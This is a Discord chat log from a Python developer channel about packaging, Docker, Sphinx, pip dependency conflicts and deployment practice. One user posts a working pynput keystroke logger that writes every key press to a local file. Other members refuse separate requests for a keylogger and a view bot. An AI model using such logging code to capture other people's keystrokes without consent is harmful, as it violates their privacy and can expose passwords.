Towards Terraform, Pulumi, being able to solve issues with AWS, GCP, Azure and also capable to do Kubernetes with its ecosystem of stuff
Well, also every DevOps person is able to wield 1 or more monitoring stacks usually
Yep I Underatand.
This probably isn't the right server to ask this in. I don't think anyone will help you make a keylogger, Probably just join some random script kiddie server.
hmm ok idk i'll do some more research ig
I read that cProfile doesn't support threads. Anything I should keep in mind due to this?
Like instances where I wouldn't expect this to matter but it does?
For example I don't think it's profiling cython code, and I don't understand why
https://cython.readthedocs.io/en/latest/src/tutorial/profiling_tutorial.html#cython-profiling-basics
to profile cython by cProfile, you need to turn on a flag
Yeah just got it working, thank you!
ERROR: The Compose file './docker-compose.yml' is invalid because:
services.dev_db.expose is invalid: should be of the format 'PORT[/PROTOCOL]'
services.dev_db.ports contains an invalid type, it should be a number, or an object
someone can help me plz
ty
We can't help because u don't provide information to help you ^_^
Let's say I run ruff-lsp. How do I communicate with it?
over stdio (this question might be better in #editors-ides)
Following this specification?
https://microsoft.github.io/language-server-protocol/specifications/lsp/3.17/specification/
ruff_lsp/server.py line 2028
LSP_SERVER.start_io()```
mm
i was going to setup a ruff check --output-format=json server in another process and communicate with it
that's a way too
but im hoping this'll be easier
having the server already running saves on startup and shutdown time
sigh setting params as "{...}" doesnt not help understanding whats supposed to go in the ellipses
I love chatgpt
hi everyone. my team and i are building a python tool and i'm looking for any devs willing to help us with a short usability test. if you're interested, please answer here or dm me! π
People in the python community tend to complain a lot I generally find, about the state of package/environment management in python
I'm curious what people feel the main issues are, and how many have tried (or even heard of) micromamba.
was thining about writing a blog post trying to get more people aware of micromamba, and then recently I read a blog post that came up on /r/programming that made me want to write the blog post more π
Flat structure package pushed to somewhere and I am good.
Biggest problem usually to figure out how to link correct files in and exclude others
First time hearing about it
what does "link correct files in" mean? I don't recall ever doing something like that
Putting correct package in
Including extra files
Excluding preferably *_test.py
i don't understand, is this something you're talking about doing as a package distributor
I've never had to do this while using pip, or micromamba
Oh, right it is distributing. Your case is different about installing I take it
Right it is messy
I am navigating between just using requirements+ constraints
And
Pipenv and Poetry using for advanced management
Ergh they do work
what do you find painful still in pipenv and poetry? why do you consider them advanced?
They are advanced because they auto rebuild lock file to specific dependencies
Both advanced painful because at scale they take large time to do any action, installing extra package, updating single thing or whatever takes at least a minute(or many minutes) for me (for lock rebuilds usually)
It is not uncommon to await 10 minutes for lock rebuild π
!rule 6 , <@&831776746206265384>
auto rebuild just means, what, they have a flag to do it or something?
like in base micromamba, for whatever reason, they don't seem to handle regenerating lock files directly.
but it's a trivial thing to do; you just create a dry run environment from your dependencies file and dump the output
No, u install package with pipenv, poetry
They auto generate poetry.lock for example
U can install/update packages of those versions according to lock.
the solver is probably an issue where micromamba would have an edge as their solver is written in C++ and supposed to be very fast
sure
I'm saying that the "auto" part doesn't seem that important to me. Like, I have a dependencies file, I have a lockfile, if I change the dependencies file, I just rerun a script with a few lines in it that regenerates the lock file.
(and then typically commit the result)
like does "auto" just mean it's one command instead of 2-3?
Part of installing, update commands yes
okay, sure
anyway, fwiw, micromamba's solver is much much faster AFAIK so maybe you would enjoy that
Regenerating is not good to have as u need often ability to upgrade specific packages and leaving the rest as outdated as possible according to previous versions lock
Otherwise your stuff can break too much and it is annoying to track because of which packages among the list it happened
Micro upgrades are very helpful
Pipenv upgrade feature exists for that
I mean it's not in general safe to just upgrade specific packages; you'd have to resolve the environment
The best practice way to "micro upgrade" is ot have a dependencies file where you can, if you choose, lock dependencies that you want to have very tight control over, and otherwise you simply do frequent updates to the lock file
Pipenv resolves it for micro upgrades too
It bumps versions only for packages it has to
In most minimal fashion
if the dependencies file doesn't change and you upgrade it relatively frequently the changes will be very tiny in any case
interesting. I mean I admit I don't really see much value in that for typical workflow; I could see how it might be convenient in an emergency
If you have like 30 dependencies of software running for ten years... It does help to update more incrementally and carefully from breaking smth
like you're saying if you haven't upgraded for 10 years, and now you want to start?
Sure, but in my view the way to do that typically would be to lock versions in your dependency file
the ones you care about the most, or partially lock things (i.e. lock the major and minor but not patch, or lock the major only)
and then re-solve the environment
No, it was updated... In general.
Some dependencies could be often updated, others could be abandoned by authors 5 years ago though
if it's been abandoned then anyway there will be no new releases, so I don't see the issue...
Usually the problem in that things are getting updates only with months of gap between them
And usually when u need to update smth, u a lazy to update major versions of your main framework/things
Because it will break all things
Suck updates are things usually... Delegated to juniors or smth. Kind of trivial yet annoying thing to do
Updating major deps at large code bases is a separate task to chase all bugs
Also people don't really follow semantic versioning
Any dependency update can break smth
That is why small micro upgrades are so useful to minimize surface of breaking
okay, sorry, just a bit hard to understand :-). I think my appraoch to SDLC is pretty different though.
^_^ may be your projects are just not big and long living enough to face such issues
At small scale everything I mentioned is not an issue
Fine to regenerate always
lol
I've been working at a company of hundreds of devs for over 10 years, I have a dependencies file here with over 100 entries just for my team of 10 people, which gets combined with a wider scale dependenciles file
my lock file has 600+ packages. I've been involved in maintaining combined C++ and python environments, and plugins, for a good chunk of that time
Maybe the opposite true, and your workflows work well at your scale, but wouldn't work well at this one? π
Or maybe we just have different approaches shaped by different companies, different priorities, etc
there's many possibilities
Horrific
it's horrific that I'm building software at a good sized scale and I have a package manager that still works well there?
I feel like your reaction should be opposite π
Well, horrific that it has so many dependencies.
It is just bound to encounter problems from people abandoning packages
Things incompatible with each other and etc
Too many dependencies.
Of course it is understandable that u have that many, but still horrific nevertheless
I mean... lol?
first you tried to lecture me because I wasn't on your scale (so you thought), now I have too many dependencies so it's bad as well?
Anyway, good talk, i guess
I am too lazy to argue with such statement. ^_^
Did you know dokku plugins doesn't support updating when the plugin didn't have a master branch?
dokku/plugn#71
dokku/plugn#141
only took 2 years for me to notice it and fix it.
Hii anyone has worked with flowise ai?
I want to share with you guys this amazing package installer, it improve considerably the package installation speed:
https://github.com/astral-sh/uv
You need to use uv pip instead of pip
They are planning to implement a "Cargo for Python"
There's not a whole lot of people in the Python ecosystem that haven't been kind of following what Astral is up to for a bit now π
they are doing a pretty good job π
If they finally implement the cargo for python it'll be massive
I'm optimistic, but it's going to be awhile before I pull away from my current tooling. They've done a great job with Ruff so far, so hopefully they hold that momentum.
hello quick question
why isn't the time updating when this program writes the log file ?
from pynput.keyboard import Key, Listener
from datetime import datetime
keys = []
hotkey = {Key.ctrl_l,Key.ctrl_r,Key.shift_r}
current = set()
def on_press(key):
keys.append(key)
write_file(keys)
if key in hotkey:
current.add(key)
if all(k in current for k in hotkey):
listener.stop()
startfile(r"assets\keys.txt")
def on_release(key):
try:
current.remove(key)
except KeyError:
pass
def write_file(keys):
date=datetime.now()
with open(r'assets\keys.txt','w') as log:
for key in keys:
print(date)
log.write(date.strftime("%d/%m/%Y %H:%M:%S") + ': '+str(key).replace("'", "")+'\n')
with Listener(on_press = on_press,on_release=on_release) as listener:
listener.join()
It always uses the time of the first start of the program but the print always updates for some reason
(in the write_file function)
I've tried everything but i can't figure out a way to make it update
I dont know it is the right channel for this question but I try π If I create a venv for python with the distribution installed (RHEL) python, should it "see" all the other python packages installed with paket manager of the distribution or do I need to do something more?
I'm blocked by an upstream bug. It was fixed in rustls-pemfile, it just needs to be updated in reqwest
I cannot help you in that BC im still learning rust
I think Rust Will improve the poor of Python and between the two they are going to make a superlanguage.
k
I would say if you create a virtual environment where you install all the Python packages of your project there, you should only see the packages of your project and not the packages of the rhel distribution, they are outside of your venv.
hmmm and how can I make it if you want to use already installed python libs inside such a venv to?
sorry if I want
π
hmm done so but it still downloads libs they are already there :/ (urllib3, requests)
aa hmmm I see... the module what I want to install does need newer versions of them...
how to fix it?
!rule 5
5. Do not provide or request help on projects that may violate terms of service, or that may be deemed inappropriate, malicious, or illegal.
We're not going to help you with... whatever that is
i have a quick question about github
Iβm trying to double check if this is right or not
Check all that apply. GitHub provides...
A location to host Git repositories
Collaboration tools such as threaded discussions (issues) and code reviews
A Web-based graphical interface
Git software on your local machine
I put the first 3 but iβm not sure if thatβs right, if not, can someone explain
Hi, been using github desktop with no issues. Recently our co-op student did something in the command-line and the desktop app has been showing this. Still works fine, pushes and pulls but always thinks there are a ridiculous number of commits to push when there aren't. Haven't found a way to fix it
check the commit history?
hello. does anyone know the lib AWS Python Power Tools?
I'm curious what it would do over micromamba. Most of the things they advertise, while not done by most python package installers, are already done by micromamba
- standalone, statically linked executable as the package manager: check
- dependency solver written in a high performance native language: check
micromamba has the additional massive benefit of also handling native depenencies of python packages, of which there are many.
so if the uv featureset seems interesting to you, rather than wait I'd just try micromamba
i'll try it as well and compare, thanks for the recomendation
hmmm, you could get the changed files using git status --porcelain
no need to wonder
there are docs
after the first checkout step, you can get a list of the files added/modified/deleted using that git command
then you can pass those to your s3 sync action
Hi, I came across a new module called cruft & I was wondering how it's different from cookiecutter. I mean why people are using it ?
cruft is different. It automates the creation of new projects like the others, but then it also helps you to manage the boilerplate through the life of the project. cruft makes sure your code stays in-sync with the template it came from for you.
https://pypi.org/project/cruft/
so it picks where cookiecutter lefts?
does anyone have or know of a simple example for a python web app with autodeployment and autorun to a digitalocean droplet from a github repo?
Haven't tried it but I googled it for you: https://blog.kipchirchirlangat.com/django-automated-deployments-to-digital-ocean-using-github-actions
are there approaches to UI testing in a CI/CD pipeline?
any work done on automated UI testing?
if anyone has any reading recs it would be highly appreciated
This at least lists some tools. I ha e not done gui myself. Most of the tools listed are related to testing websites:
https://www.browserstack.com/guide/what-is-automated-ui-testing
Sorry if this is the wrong channel for this.
I'm trying to specify a specific .env file to be imported and I'm having a bit of trouble. I've looked at load_dotenv and os.environ and maybe I've just missed it, but they don't seem to be doing what I want.
I have a file that needs to access a credentials .env in the directory up a level, so ../.env. What should I do to handle that?
I could just read the file like it were anything else, but that feels kinda wrong.
load_dotenv should work -- at least, if you're getting it from the right library. Ask in #1035199133436354600 and post your complete code as text.
Can Some one explain to me what is this, Difference between the green line and blue line
green is views, that is just people loading your page in their browser, unique visitors is how many different people make up that views figure
i.e. you could have 10 views (green line), that could be 6 views from one person and 4 from another, hence you have 2 unique visitors (blue line)
hi
We have a deployment process for our application. Here's an example
A developer makes changes (let's call them C1, C2, and C3) and submits a pull request (PR).
Another developer reviews the PR and approves it.
The changes are merged into the main branch
The entire main branch, including C1, C2, and C3, is deployed to a staging environment for testing.
The QA team tests C1 and C2 in staging but finds some issue in C3 or some delays in testing C3.
The problem is, by the time C1 and C2 are tested and ready to go live, customers are pressuring us to deploy them. But we can't deploy just C1 and C2 because C3 is still in testing. This creates delays and sometimes even leads to accidentally deploying non-QA'ed code (C3) which can cause issues.
We're looking for ways to deploy approved changes (C1 & C2) faster without having to wait for everything else in the staging environment (C3). What are some strategies we can use to achieve this?
Are there ways to deploy C1 and C2 independently, even though they're currently bundled with C3 in staging?
What are some pros and cons of different approaches we could take?
By understanding the options available, we can choose the best strategy to improve our deployment process, reduce delays, and avoid accidental deployments.
We are using the release-please github action from google (https://github.com/google-github-actions/release-please-action)
automated releases based on conventional commits. Contribute to google-github-actions/release-please-action development by creating an account on GitHub.
I've never released anything. What does it mean in your case, building and make an artifact available for public download? I would suspect you just pick a commit to release?
But other things to think about:
- Can you make testing faster?
- Can you test c1, c2 and C3 in parallel?
- Could you have an unstable release for customers that are really hurried?
Are there ways to deploy C1 and C2 independently, even though they're currently bundled with C3 in staging?
- u can have extra environment. We have one in addition before staging named
uat
and u can merge to staging for final testing only things passing testing
What is dissadvantage? π€ slightly more complicated infra setup π
- Also when i need to deploy hotfix, i just make builds with cherry picking necessary for me changes in order to by pass all the other not checked changes
this method usually requires... more intimate deployment knowledge bypassing normal procedures. U could make it somehow standartized though
What are some pros and cons of different approaches we could take?
i can't offer you a bit variaety of choices to choose from, hehe.
I am working in the web domain. so release in my case means deploying the web application on a Kubernetes cluster. It's a pretty big project with somewhere around 30 microservices. maintaining an extra enviroment is more pain and more expensive.
- One of the strategies that i have seen companies use is Feature flags. Having flags for each feature and turning it on and off as needed. Rollback is just turing off a feature flag.
But what i am looking for is a more clean method. so that no unnecessary code is pushed to production environment.
@twilit forum @rapid sparrow
I am working in the web domain. so release in my case means deploying the web application on a Kubernetes cluster. It's a pretty big project with somewhere around 30 microservices. maintaining an extra enviroment is more pain and more expensive.
we use concept of borrowing infra objects for uat environment
they reuse same cluster, databases, postgres, redis and etc for it
just different raised containers
@rapid sparrow
You mean multiple pods (app instances) running on the same cluster but different versions ?
yes
with different sets of env variables and reflecting different Repository branch
more than that, we reuse even same databases for them ^_^
Unless you make sure you don't add backward incompatible DB migrations of course π
Question: why you can tag branch for release and not just any vommit commit?
@keen socket
But also, how long does it take to test C3 in your scenario? And do you need to test C3 separately or can you test on the top of the branch (with all of C1+C2+C3)?
Multiple staging and testing environments is common
Oh, I guess "QA team in staging environment" means there is manual (time consuming) testing involved here?
We have 2 test envs and 2 QA envs
Also make sure that devs can run the app and tests locally, to significantly cut down on competing for env deployment time
You're always somewhat bottlenecked by QA needing a live environment to work in though
What kind of things are QA doing? Testing that is difficult to automate?
Is it more of "final product testing on a real environmental"?
can't speak for other people but yes that needs to happen in a lot of cases
QA testers have product requirements and check that those requirements are met by physically interacting with the application in a realistic environment
I see, I'm "blessed" to have basically no customers and only automated tests π
this isn't python, but it is related to git:
--- stderr
CMake Deprecation Warning at CMakeLists.txt:1 (cmake_minimum_required):
Compatibility with CMake < 3.5 will be removed from a future version of
CMake.
Update the VERSION argument <min> value or use a ...<max> suffix to tell
CMake that the project does not need compatibility with older versions.
CMake Error at simd/CMakeLists.txt:52 (enable_language):
No CMAKE_ASM_NASM_COMPILER could be found.
Tell CMake where to find the compiler by setting either the environment
variable "ASM_NASM" or the CMake cache entry CMAKE_ASM_NASM_COMPILER to the
full path to the compiler, or to the compiler name if it is in the PATH.
thread 'main' panicked at /home/runner/.cargo/registry/src/index.crates.io-6f17d22bba15001f/cmake-0.1.50/src/lib.rs:1098:5:
command did not execute successfully, got: exit status: 1
build script failed, must exit now
this build failed on github actions
the build step is probably unnecassary since this is a package, and not a binary/app. should I just exclude the build step and only have tests?
nvm i can add NASM in actions
Maybe feature flags could be a potential solution
That's clear. But is there any other solution
Is there anyone who has knowledge of theory of machines (knows about the kinematic systems like crank mechanism, yoke mechanism etc.) I'm trying to calculate a spesific system using the dynpy python library, calculate acceleration, displacement and velocity and plot them. Would anybody be able to help on this?
anyone a fan of https://dagger.io/ ? what's it add over GHA?
It is in my aim to try it as soon as possible.
Its main benefit of using flexible fully fledged language for CI building with static typing code connections automatically validating complex CI code
That can be hell of a boon if u maintain large amount of CI code
yeah i need to maintain an enormous amount of CI and I'm looking into it
I suspect it will flare very awesome with go
I would not recommend using it in python without strict mypy
If using without it, then just using regular can work as well
Also having it as fully fledged code we can write proper unit tests runnable locally!
That can be very awesome π
idk if this the right categorie for it but someone understand this: ?
!rule 5 | We won't help you with a view bot
5. Do not provide or request help on projects that may violate terms of service, or that may be deemed inappropriate, malicious, or illegal.
Is there anybody here that has used Osintgram? and knows whether or not there are any other up to date OSINT tools for instagram that might be available?
I have a Fast API app in a Docker container (python:3.12-slim), and I need to access a CIFS share from another host on the network.
SO says it's going to be a pain: https://stackoverflow.com/questions/27989751/mount-smb-cifs-share-within-a-docker-container
Is there a better way to do this?
I would follow the SO answer that suggests just mounting it on the host and then mounting it in the container
that is what I have done before with exactly this, a CIFS mount
i just put it in the fstab of the container host and then mount that into the containers
Kuberneties volume?
assuming it's already in a k8s cluster :P
It is not
RuntimeError: PermissionError: [WinError 5] Access is denied: 'C:\Program Files\WindowsApps\Microsoft.MinecraftUWP_1.20.7301.0_x64__8wekyb3d8bbwe\data\skin_packs'
gets ran as administrator but still doesn't work for some reason
import os
@main_requires_admin
def main():
os.makedirs(r"C:\Program Files\WindowsApps\Microsoft.MinecraftUWP_1.20.7301.0_x64__8wekyb3d8bbwe\data\skin_packs")
if __name__ == "__main__":
main() ```
Administrator account doesnβt have access to that folder
no I have all permissions, but it doesn't work
No, you donβt, and thatβs why it doesnβt work.
C:\Program Files\WindowsApps is owned by SYSTEM, which is above the βadministratorβ permissions
u can change it if u go to properties > security > edit the permissions but it still doesn't work for that directory
it works for every other directory I've tried in windows apps except that one
wdym by owning it
Files and folders are owned by a specific user
If youβre not the owner, youβre not allowed to change the permissions
Oh wait I thought this was Python
Whatβre you trying to do to Minecraft
I'm just making a program that creates a directory for Minecraft bedrock so I can make a cape tool for it
it lets me delete directories in the microsoft.minecraft folder but it won't let me make any
Itβs designed to not let you touch it at all
Iβd be suprised if you got anything to work
As far as I can tell they donβt even open Program Files at all in that video
Nice
do yk of any ways to make this program possible
I do not
Does anyone have any programs/tools for automated report generation? Ideally using adobe pdf but open to any
what sort of report are you looking for?
in my experience, this server is most active during Western Hemisphere business hours.
how to do like this ? i used pyside6 and need like this how to ?
One that pulls stats from our database, with rankings and a written report
how to do run hatch shell on a specific environment ? like if I normally do hatch shell it'll spin up default env. how can I spin other envs which are already creadted ?
you can also try asking in the #hatch channel of discord.gg/pypa
Docker question: Suppose I have a docker image, and I know the Dockerfile that created it, but it could only have built the image in an environment that I can't replicate locally.
It's this one, and the last few lines are
VOLUME /data /logs
EXPOSE 7474 7473 7687
ENTRYPOINT ["tini", "-g", "--", "/startup/docker-entrypoint.sh"]
CMD ["neo4j"]
I want to build a new image that pre-installs a few more things, but I'm pretty sure they would need to go before the the CMD statement, and possibly the ENTRYPOINT statement as well. Is there a way to work around this if I were to write a new Dockerfile that's "FROM" this one?
if you answer, and it works, I will give you mod ||/s||
if they already build it for you, i would recommend just writing
FROM neo4j:5.18.1-community-bullseye # already your built community image
RUN install your extras
# feel free to override or not override entry-point and cm\d to new ones desired
they are already defined in parent anyway
# ```
but I'm pretty sure they would need to go before the the CMD statement, and possibly the ENTRYPOINT statement as well.
it does not matter at which step CMD and ENTRYPOINT are defined
as long as they are defined with same... Dockerfile stage.
as long as FROM smth instruction followed before, they can be applied from any place after FROM stage
We applied FROM in example above i recommend after that though, but since we use FROM layer that already defined them... then they are already defined ^_^
all that is to say, for however many Dockerfiles existed in the path from the original to the one you're about to build, only the most recent CMD and ENTRYPOINT is considered?
only the most recent CMD and ENTRYPOINT is considered?
as far as i remember all the rules... yes.
you can easily check applied CMD/ENTRYPOINT by just checking
docker image inspect image_name ^_^
docker container inspect container_id_or_name should be same for running instances
feel free also to use lazydocker or dive for quick overview of built result
@rapid sparrow I think it's working π I lied about mod though, sorry.
[I've been lying a lot lately.](#announcements message)
just kidding. i have enough responsibilities π
it's especially funny when Prof Farnsworth is based on my uncle.

How can I use Sphinx's autodoc and autosummary extensions to generate doc pages for every module in my project without having to list them in index.rst? (There's no #documentation channel, or else I'd post this question there instead. This one looked like the closest.)
autosummary has a :recursive: option, so as long as they're all in one top-level package that might solve your problem
or you can use sphinx-autogen to automatically generate physical stub pages
Thank you, that took me most of the way there. What about adding them all to :toctree:?
last time i wrote some docs, i think i preferred manually listing members in a module because i could flatten them into a document instead of having a table of links to click through
autosummary has a :toctree: DIRECTORY role too
Hm...one of my modules isn't having docs generated...
anyone have recommendations for secrets managers? especially ones that have good integration with most CI platforms
ideally something that unifies secrets across AWS/GCP/GHA
I'm trying to use sphinx.ext.autosummary to generate API docs based on docstrings for my library so that I don't have to write dozens of trivial .rst files. However, a particular package's modules aren't being imported. There are no errors, and I can import the modules in an interactive Python session just fine; the offenders are just being ignored. What could the cause be?
Picture's worth a thousand words.
is libretro.driver a namespace package? i.e. does it not have an __init__.py? curiously autosummary doesn't seem to discover it for me either
oh wait, you have the libretro.driver there, so i guess i should be asking if its subpackages are namespace packages
It has a valid __init__.py. There's nothing unusual about it; just several from .submodule import * statements. And all submodules define __all__
All subpackages have their own __init__.py, with a handful of from .submodule import * statements. One of them has a conditional import depending on whether a certain third-party is available.
opening the libretro.driver page doesn't show any modules, right?
That's right.
No HTML or ReStructuredText for any subpackages of libretro.driver was generated, either.
how did you install your libretro package?
I didn't; I made it.
well, given your src-layout i assume you installed it for development
I used pip install -vv -e . in a venv
All relevant Python packages (including Sphinx) are installed in this same venv
hm, that seems fine
does python -m libretro.driver.audio recognize the package correctly?
There's no __main__, but I do get this:
C:\Users\Jesse\Projects\libretro.py\venv\Scripts\python.exe: No module named libretro.driver.audio.__main__; 'libretro.driver.audio' is a package and cannot be directly executed
so no issues importing it...
And importing the entire library as from libretro import * works okay, too. (All public symbols are exposed through the libretro module, including the contents of libretro.driver and its subpackages.)
This is the repo in question if you're curious, although I have some work that hasn't yet been committed
still got no clue... i guess you can stash your work and try ripping stuff out of your package, either you'll do something that fixes it or you'll have a minimal reproducible example
deleting your doc builds might also help
sidenote, whats with all the linters and stuff in your build system requirements? those should go in [project.optional-dependencies] instead, as pip isolates build dependencies into a temporary environment by default
The template I used as a base had all that stuff. I intend to clean up the dependencies before I publish this to PyPI, but I wanna write documentation first
At any rate, thanks for checking.
I agree
I opened a bug report here. https://github.com/sphinx-doc/sphinx/issues/12264
Slimmed down the repo in a branch as much as I could.
hmm i dont really get whats going on, but it seems to be related to how it traverses/filters your imports?
here's some things i tried:
- enabling
"imported-members": Truein autodoc_default_options
this produced duplicate documentation,libretro.ArrayAudioDriverandlibretro.driver.ArrayAudioDriver - adding
__all__ = ("ArrayAudioDriver",)tolibretro/__init__.py
this documentedlibretro.ArrayAudioDriverbut not the audio package - replacing
from .driver import *withfrom .driver import ArrayAudioDriver
this documented the audio package but notlibretro.ArrayAudioDriver
imo i would avoid star imports entirely, it makes it non-obvious what members are exposed by your module
Isn't from .submodule import * inside __init__s a common Python convention?
I understand avoiding * imports in actual code (that's bitten me before, even with this library), but for __init__?
i think so, its not a good one though
even the official tutorial advises against it (though not specifically for __init__.py)
https://docs.python.org/3/tutorial/modules.html#importing-from-a-package
Note that in general the practice of importing
*from a module or package is frowned upon, since it often causes poorly readable code. However, it is okay to use it to save typing in interactive sessions.
...
Although certain modules are designed to export only names that follow certain patterns when you use import*, it is still considered bad practice in production code.
"One way to do things" my ass. Thanks for the tip, I'll take a closer look.
I have seen star imports in init a lot, but it does make it difficult to figure out which symbol in __all__ is from which module
Is there any selenium tester available...i need some help!
!pipi playwright
sigh...
!pip playwright
I want to capture the network status and stuff...can you help me
not sure
https://bpa.st/ZDOQ does anyone know how to read the tea leaves here? this package conflict output from pip makes no sense to me.
i suspect the problem has nothing to do with either pandas or s3fs, because they're only loosely pinned:
pandas [aws, parquet] ~= 2.0
pandas-stubs
s3fs
and weirdly when i comment out s3fs, i get past the error
this problem also only started when i added moto [s3, server] ~= 5.0 so i think maybe pip is confused about the cause of my problem π€
What's your environment? I can get these requirements to resolve and install locally.
as expected. there are a lot of dependencies in here with a lot of ~= pins, i'll need to figure out how to narrow this down somehow.
i do
can you share it?
it's 250 lines and it has a bunch of work-specific comments in it that i can't share. i'll try to narrow it down until i can reproduce π€·ββοΈ
okie!
but i'm mystified as to how removing s3fs without any pins at all can change the resolution
there's still a hell of a lot of backtracking with that commented out too. aws_xray_sdk and py_partiql_parser seem to be problematic, whatever the heck those even are. moto is quite a beast of a library.
pip does resolve user provided (top-level) dependencies first
not sure how that causes the error nonetheless
that's interesting. i wonder if that affects the search depth somehow
aha, i reproduced it @flat path
python3.11 -m venv --clear tmp
tmp/bin/pip install \
'moto [server, s3] ~= 5.0' \
'pandas [aws, parquet] ~= 2.0' \
'snowflake-connector-python [pandas] ~= 3.8, >= 3.8.1' \
'boto3' \
'boto3-stubs [s3]' \
's3fs' \
'geopandas' \
'shapely ~= 2.0' \
'pyarrow'
ERROR: Cannot install pandas[aws,parquet]==2.0.0, pandas[aws,parquet]==2.0.1, pandas[aws,parquet]==2.0.2, pandas[aws,parquet]==2.0.3, pandas[aws,parquet]==2.1.0, pandas[aws,parquet]==2.1.1, pandas[aws,parquet]==2.1.2, pandas[aws,parquet]==2.1.3, pandas[aws,parquet]==2.1.4, pandas[aws,parquet]==2.2.0, pandas[aws,parquet]==2.2.1, pandas[aws,parquet]==2.2.2 and s3fs because these package versions have conflicting dependencies.
The conflict is caused by:
The user requested s3fs
pandas[aws,parquet] 2.2.2 depends on s3fs>=2022.11.0; extra == "aws"
The user requested s3fs
pandas[aws,parquet] 2.2.1 depends on s3fs>=2022.11.0; extra == "aws"
The user requested s3fs
pandas[aws,parquet] 2.2.0 depends on s3fs>=2022.11.0; extra == "aws"
The user requested s3fs
pandas[aws,parquet] 2.1.4 depends on s3fs>=2022.05.0; extra == "aws"
The user requested s3fs
pandas[aws,parquet] 2.1.3 depends on s3fs>=2022.05.0; extra == "aws"
The user requested s3fs
pandas[aws,parquet] 2.1.2 depends on s3fs>=2022.05.0; extra == "aws"
The user requested s3fs
pandas[aws,parquet] 2.1.1 depends on s3fs>=2022.05.0; extra == "aws"
The user requested s3fs
pandas[aws,parquet] 2.1.0 depends on s3fs>=2022.05.0; extra == "aws"
The user requested s3fs
pandas[aws,parquet] 2.0.3 depends on s3fs>=2021.08.0; extra == "aws"
The user requested s3fs
pandas[aws,parquet] 2.0.2 depends on s3fs>=2021.08.0; extra == "aws"
The user requested s3fs
pandas[aws,parquet] 2.0.1 depends on s3fs>=2021.08.0; extra == "aws"
The user requested s3fs
pandas[aws,parquet] 2.0.0 depends on s3fs>=2021.08.0; extra == "aws"
that's a pretty innocuous combination of dependencies...
i wonder if something else is pip to resolve s3fs to an ancient unsupported version
or if one of these packages doesn't support 3.11 on mac m1 for some reason
let me try in an amd64 linux container
let's see how this goes...
docker run --platform linux/amd64 --rm python:3.11 \
/usr/local/bin/pip install \
'moto [server, s3] ~= 5.0' \
'pandas [aws, parquet] ~= 2.0' \
'snowflake-connector-python [pandas] ~= 3.8, >= 3.8.1' \
'boto3' \
'boto3-stubs [s3]' \
's3fs' \
'geopandas' \
'shapely ~= 2.0' \
'pyarrow'
nope, same in the linux container
something must be going on with those extras
i'll try un-pinning the snowflake connector, i don't think that one is necessary anymore
I've reduced it further down, but I haven't made any progress in figuring out the source of the conflict.
why does pulling boto metadata files take so long, are the index pages that massive ??
I can get a valid resolve if I restrict s3fs to >= 2022.11.0 strangly enough https://paste.pythondiscord.com/BERQ
yeah there is some weird stuff going on with these packages
boto3 or botocore i think does a nightly pypi release... lots of releases to backtrack through
i think i hit the particular issue of using an ancient boto3 before. aiobotocore might be the culprit, because they pin botocore very tightly
moto [server, s3] ~= 5.0
pandas [aws, parquet] ~= 2.0
snowflake-connector-python [pandas] ~= 3.8, >= 3.8.1
boto3 == 1.34.69
boto3-stubs [s3]
s3fs
geopandas
shapely ~= 2.0
pyarrow
this resolves successfully >.<
I suppose boto3 is involved somehow here
it also resolves if boto3 isn't listed either
??????
I have other things to do so I'll stop here, but man I have left this even more confused.
glad it's not just me
i wonder if pinning botocore or aiobotocore will fix it
setup.py line 10
'botocore>=1.34.41,<1.34.70',```
ah, pip's resolution logic is broken https://github.com/pypa/pip/issues/12317
Good find. At least it's WIP? Pinning Pip of all things feels weird, but so it goes
Let me see if that helps
Actually pinning Pip makes a lot of sense
Should probably do that anyway
Looks like 23.1 is the bad version
is anyone familiar with building websites on builder.io?
guys is there any way i can like develoop a mix of lens and gemini?
You may get a response if you just ask your actual question
taking a poll here: which should I use for my next project? it's a "library", not an "app".
1οΈβ£ : PDM
2οΈβ£ : UV
fair enough. I went with PDM for now, it's just a toy project anyway
how so? never used it, just wanted to see where is it rough around the edges (or is it a complete train wreck right now?)
If you want to use uv, use rye
yeah that's on my radar to try during my month off as well
PDM doesn't install Python itself ...right?
it has pdm py install now

!pip pbs-installer
rye also uses that ^
Unfortunately the pbs-installer package doesn't support mirrors
Wasn't there something with rye installing static builds?
Then I started to add the dependencies I need to actually serve it on the web and I step on the big fat LEGO brick lying in wait: I just can't install uWSGI. The reason for this is actually quite simple: uWSGI needs to compile C extensions, Rye uses static builds of Python, and static Python builds + compiling C extensions is a known house of pain.
β Trying out Rye
For the time being I'll stick with pyenv
i saw the same thing and came to the same conclusion
Greetings all,
Hope everyone is well. Quick question, how can I fix this mypy error?
tests\circuit\test_circuit.py: error: Source file found twice under different module names: "circuit.test_circuit" and "tests.circuit.test_circuit"
circuit.test_circuit.py is under the module tests, so I don't really get this error.
Do you have tests/__init__.py? If not, try disabling the namespace packages option
Ohh, no I don't.
I'll add it.
Are you just referring to the file by its path?
!zen
Beautiful is better than ugly.
Explicit is better than implicit.
Simple is better than complex.
Complex is better than complicated.
Flat is better than nested.
Sparse is better than dense.
Readability counts.
Special cases aren't special enough to break the rules.
Although practicality beats purity.
Errors should never pass silently.
Unless explicitly silenced.
In the face of ambiguity, refuse the temptation to guess.
There should be one-- and preferably only one --obvious way to do it.
Although that way may not be obvious at first unless you're Dutch.
Now is better than never.
Although never is often better than right now.
If the implementation is hard to explain, it's a bad idea.
If the implementation is easy to explain, it may be a good idea.
Namespaces are one honking great idea -- let's do more of those!
sounds like messy importing absolute/relative situation. try to refactor in the way that your code in tests imports only as from .circuir import test_circuit stuff
or from tests.curcuit import test_circuit stuff
use always same absolute root folder for all your code, working and test one
allow yourself starting not from root only for relative paths starting with dot
I just added a __init__.py to my tests folder.
Fixed it like that.
No no, I don't like that, Zen states it's best to have the full namespace.
zen is very funny thing. There is only one way to do it right, but python allows thousands ways to do same things.
Not one right way.
It just gives a framework to doing things better.
It's more of general advices.
But there's also preference, so I respect your view too.
one right way, and other ways are mines to step on them and explode π
the duplicate module was caused by pytest's prepend import mode adding tests/ to sys.path, right?
Lack of __init__.py I believe.
pretty sure I don't have an __init.py__ in any of my tests directories
hmm i think this explains it
https://docs.pytest.org/en/stable/explanation/pythonpath.html
prepend (default): the directory path containing each module will be inserted into the beginning of sys.path if not already there, and then imported with the
importlib.import_modulefunction.It is highly recommended to arrange your test modules as packages by adding
